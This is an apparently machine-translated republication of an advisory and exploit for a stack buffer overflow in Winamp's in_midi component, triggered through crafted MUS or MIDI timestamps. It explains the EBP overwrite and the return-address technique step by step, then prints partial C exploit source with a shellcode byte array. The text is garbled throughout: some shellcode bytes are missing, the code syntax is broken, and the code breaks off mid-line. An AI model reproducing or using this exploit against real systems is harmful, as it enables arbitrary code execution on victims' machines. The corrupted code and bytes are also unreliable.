Winamp in_midi component MIDI timestamp stack buffer overflow vulnerability and repair

Source: Internet
Author: User
Tags 0xc0

Affected Versions:
Nullsoft Winamp 5.01-5.5.8

Vulnerability description:

Winamp is a popular media player that supports multiple file formats.

Winamp has a vulnerability in implementation. Attackers can exploit this vulnerability to execute arbitrary code in affected applications with user permissions, resulting in DOS.

This vulnerability is caused by the failure to perform sufficient boundary checks on user data. Stack allocation of Winamp is predictable. Attackers can choose to write data to the saved basic pointer value,

Therefore, after the basic pointer is restored, the stack message that calls the function will be moved to the return address controlled by the attacker.

<* Reference
Peter Wilhelmsen
Kryptos Logic

Test method:

* Winamp 5.6 Arbitrary Code Execution in MIDI Parser
* Copyright (C) 2010 Kryptos Logic
* Bug discovered by Peter Wilhelmsen.
* Exploit written by Morten Shearman Kirkegaard.

* When Winamp plays MUS files and other MIDI variants, it begins
* Converting them to a canonical format.
* IN_MIDI.DLL 0x076ED6D3
* Timestamps in MUS and MIDI are 32 bit values encoded as a series
* Bytes, with 7 bits in each byte. The most significant bit indicates
* Whether or not this is the last byte. Winamp can decode any value
* Without problems, but when it tries to re-encode them for the MIDI
* Data, it uses the naive approach of shifting multiples of 7 bits. On
* X86 a shift of more than 31 bits does NOT result in a cleared
* Register, so after shifting 0, 7, 14, 21, and 28 bits, it will shift
* 35 bits, resulting in a shift of only 3 bits. If the most significant
* Bit is set, Winamp will keep shifting forever. However, if it is
* Cleared, and one or more of the following three bits are set, it will
* Shift 0, 7, 14, 21, 28, 3, 10, 17, 24, and 31 bits. The last shift
* Will result in a fully cleared register, so only 9 output bytes are
* Generated. The allocated stack buffer is 8 bytes, so the least
* Significant byte will overflow into the saved EBP.
* IN_MIDI.DLL 0x076EE07F
* The saved EBP is restored into the register before returning to
* Main coversion function. If a value of 0x60 is written to the least
* Significant byte of EBP, the function will run to the end
* Errors, but will use the sum of all timestamps encountered as its
* Return address. We choose a number of timestamps which add up to
* Desired return address, and make sure that only the last timestamp
* Will cause an overflow. When the function returns, a pointer to
* Input buffer is located at ESP + 0x14. We return to an instruction
* Sequence of add esp, 0x14; RET; so the execution will continue at
* MUS header.
* By choosing 0xC0 as the least significant byte of the scoreLen field,
* The header becomes executable without touching memory. We choose
* Most significant byte of scoreLen and the least significant byte
* ScoreStart to make up a JMP instruction, skipping the rest of
* Header and continuing execution in the instrument list, where
* Desired shellcode is placed. More shellcode can be placed after
* Note events in the score data, if needed.

# Include <inttypes. h>
# Include <stddef. h>
# Include <stdio. h>
# Include <stdlib. h>
# Include <unistd. h>
# Include <string. h>
# Include <fcntl. h>

Unsigned char shellcode [] = {
/* Http:// */
0xFC, 0x31, 0xD2, 0xB2, 0x30,0x64, 0xFF, 0x32,
0x5A, 0x8B, 0x52, 0x0C, 0x8B, 0x52,0x14, 0x8B,
0x31, 0xC9, 0xB1, 0x31, 0xFF,
0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C,
0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF0,
0x81, 0xFF, 0x5B, 0xBC, 0x4A, 0x6A, 0x8B, 0x5A,
0x10, 0x8B, 0x12, 0x75, 0xDA, 0x8B, 0x53, 0x3C,
0x01, 0xDA, 0xFF, 0x72,0x34, 0x8B, 0x52,0x78,
0x01, 0xDA, 0x8B, 0x20, 0x01, 0xDE, 0x31,
0xC9, 0x41, 0xAD, 0x01, 0xD8, 0x81,0x38,0x47,
0x65,0x50, 0x75, 0xF4, 0 x, 0x04,
0x72, 0x6F, 0x63,0x41,0x75, 0xEB, 0x81,0x78,
0 x, 0x64, 0x64, 0 x, 0x75, 0xE2, 0x49,
0x8B, 0x24, 0x01, 0xDE, 0x66, 0x8B, 0x0C,
0x4E, 0x8B, 0x72, 0x1C, 0x01, 0xDE, 0x8B, 0x14,
0x8E, 0x01, 0xDA, 0x52,0x68,0x78,0x65,0x63,
0x01, 0xFE, 0x4C, 0x24, 0x03,0x68, 0x57,0x69,
0x6E, 0x45, 0x54,0x53, 0xFF, 0xD2, 0x6A, 0x00,
0x68, 0 x, 0x61, 0x6C, 0x63, 0x6A, 0 x, 0x31,
0xC9, 0x8D, 0x4C, 0x24, 0x04,0x51, 0xFF, 0xD0,
0 x, 0 x, 0 x, 0x89, 0xFB, 0xFE,
0x4C, 0x24, 0x03,0x68, 0x50, 0x72, 0x6F, 0x63,
0x68, 0x45, 0 x, 0 x, 0 x, 0x54, 0xFF, 0x74,
0x24, 0x24, 0xFF, 0x54,0x24, 0x24, 0x57, 0xFF,


Void append_time (unsigned char ** p, uint32_t)
Int bytes;

If (t> 28 )){
Bytes = 5;
} Else if (t> 21 )){
Bytes = 4;
} Else if (t> 14 )){
Bytes = 3;
} Else if (t> 7 )){
Bytes = 2;
} Else {
Bytes = 1;

Switch (bytes ){
Case 5: * (* p) ++) = 0x80 | (t> 28) & 0x7F );
Case 4: * (* p) ++) = 0x80 | (t> 21) & 0x7F );
Case 3: * (* p) ++) = 0x80 | (t> 14) & 0x7F );
Case 2: * (* p) ++) = 0x80 | (t> 7) & 0x7F );
Case 1: * (* p) ++) = 0x00 | (t & 0x7F );


Void append_note_event (unsigned char ** p, uint32_t t)
* (* P) ++) = (1 <7/* last = true */)
| (1 <4/* type = play note */)
| (0 <0/* chan = 0 */);
* (* P) ++) = (0 <7/* vol = false */)
| (0 <0/* note */);
Append_time (p, t );


Int main (void)
Struct {
Char magic [4];
Uint16_t scoreLen;
Uint16_t scoreStart;
& Nb

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.